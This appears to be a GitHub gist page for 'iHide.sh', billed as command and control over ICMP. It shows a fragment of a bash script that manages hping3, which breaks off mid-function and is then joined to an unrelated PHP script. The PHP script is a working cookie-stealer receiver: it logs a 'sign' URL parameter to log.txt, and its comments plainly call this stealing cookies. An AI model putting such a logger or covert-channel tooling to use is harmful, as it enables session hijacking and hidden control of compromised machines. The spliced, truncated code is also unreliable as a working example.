Skip to content

Instantly share code, notes, and snippets.

@ghost-ng
ghost-ng / iHide.sh
Created August 27, 2016 03:17
Command and Control through ICMP
#!/bin/bash
OPTIND=1
function cleanup {
rm /tmp/temp -f
kill -2 $(ps aux | grep hping3 | grep -v "grep hping3" | awk '{print $2}') > /dev/null
exit
}
function icmpreceive {
if [[ "$arg" != *-e* ]] || [[ "$arg" != *-s* ]] || [[ "$arg" != *-g* ]] || [[ "$arg" != *-i* ]] || [[ "$arg" != *-f* ]] || [[ "$arg" != *-r* ]]; then
echo "Not enough flags/switches"
<?php
$cookie = $_GET["sign"]; //extracts the data after the '=' following the 'sign' variable in the url
$steal = fopen("log.txt", "a+"); //appends data to 'log.txt'
fwrite($steal, $cookie . "\n"); //writes the cookie to file
fclose($steal); //closes the file
?>